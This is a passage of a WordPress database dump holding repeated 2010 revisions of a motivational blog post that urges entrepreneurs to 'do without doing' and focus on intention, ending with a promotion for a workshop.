doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshop</a> to begin in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-15', '', '', '2010-10-18 17:27:37', '2010-10-19 00:27:37', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-15/', 0, 'revision', '', 0),
(1168, 2, '2010-10-18 17:31:24', '2010-10-19 00:31:24', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\n\n<strong> </strong>\n\n<strong>Do without doing.</strong>\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\n\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\n\n<strong>It is not action that makes things happen but intention!</strong>\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\n\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\n\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\n</strong>\n\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-16', '', '', '2010-10-18 17:31:24', '2010-10-19 00:31:24', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-16/', 0, 'revision', '', 0),
(1169, 2, '2010-10-18 17:34:15', '2010-10-19 00:34:15', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-17', '', '', '2010-10-18 17:34:15', '2010-10-19 00:34:15', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-17/', 0, 'revision', '', 0);
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(1170, 2, '2010-10-18 17:34:26', '2010-10-19 00:34:26', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-18', '', '', '2010-10-18 17:34:26', '2010-10-19 00:34:26', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-18/', 0, 'revision', '', 0),
(1171, 2, '2010-10-18 17:34:36', '2010-10-19 00:34:36', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind getting what you want in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-19', '', '', '2010-10-18 17:34:36', '2010-10-19 00:34:36', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-19/', 0, 'revision', '', 0),
(1172, 2, '2010-10-18 17:40:00', '2010-10-19 00:40:00', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-20', '', '', '2010-10-18 17:40:00', '2010-10-19 00:40:00', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-20/', 0, 'revision', '', 0),
(1174, 2, '2010-10-18 17:44:11', '2010-10-19 00:44:11', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create results by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (for example, think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-22', '', '', '2010-10-18 17:44:11', '2010-10-19 00:44:11', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-22/', 0, 'revision', '', 0),
(1173, 2, '2010-10-18 17:40:11', '2010-10-19 00:40:11', '<p><img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="495" height="378" /></p>\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\n<p>Everyone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.</p>\r\n<p><strong> </strong></p>\r\n<p><strong>Do without doing.</strong><br />\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create by doing with out doing.</p>\r\n<p>Trouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:</p>\r\n<p><strong>It is not action that makes things happen but intention!</strong><br />\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.</p>\r\n<p>Put another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:</p>\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\n<p>You will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.</p>\r\n<p><strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.<br />\r\n</strong></p>\r\n<p><em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em></p>\r\n', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-revision-21', '', '', '2010-10-18 17:40:11', '2010-10-19 00:40:11', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-revision-21/', 0, 'revision', '', 0),
(1175, 2, '2010-12-27 15:51:39', '2010-12-27 22:51:39', '<img class="alignnone size-full wp-image-1152" title="doing without doing" src="http://whc.fbdev.org/wp-content/uploads/2010/10/hammock.gif" alt="" width="446" height="340" />\r\n<h2>The difficulty most entrepreneurs experience when creating and planning a bold vision for their future is they’re simply too busy working in their business– responding to customers and clients, and putting out urgent fires that always seem to take up most of their available bandwidth. Most are too busy doing! Sound familiar?</h2>\r\nEveryone knows that in order to get anywhere, you need to know where you’re going. And once you know where you''re going you can start doing the things you believe will get you to your goal. A big misconception most entrepreneurs have about achievement of any kind is you only get somewhere by doing something. If you want your business to break free, and grow beyond the competitive forces in the marketplace that keep you playing small ball–you must first possess in your creative mind a compelling vision for your bigger, better future! Most entrepreneurs can’t predict what’s going to happen next month!  One thing is certain–as you live in your days, so you create your future.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do without doing.</strong>\r\nThe common belief held by many entrepreneurs states that only deliberate actions will make things happen. However, I would like to suggest this belief will only cause you to create in reverse.  Chinese philosopher Lao-Tzu put it this way, “in the practice of the Way, every day something more is dropped, less and less do you need to force things, until finally you arrive at non-action. When nothing needs doing, nothing is left undone”.  Essentially you create results by doing with out doing.\r\n\r\nTrouble is most entrepreneurs are masters at doing!  Unfortunately “doing” usually involves some level of struggle or resistance (for example, think cold-calling).  Our culture (and our early programming) has placed tremendous value on doing. From an early age, we humans are conditioned to get things done! By now you’re asking yourself “what the hell does this have to do with creating my bigger vision for the future”?  Absolutely everything! Here’s why:\r\n\r\n<strong>It is not action that makes things happen but intention!</strong>\r\nDefining your vision for a bigger, better future is an intention. In creating clarity about your future (or chief desire) 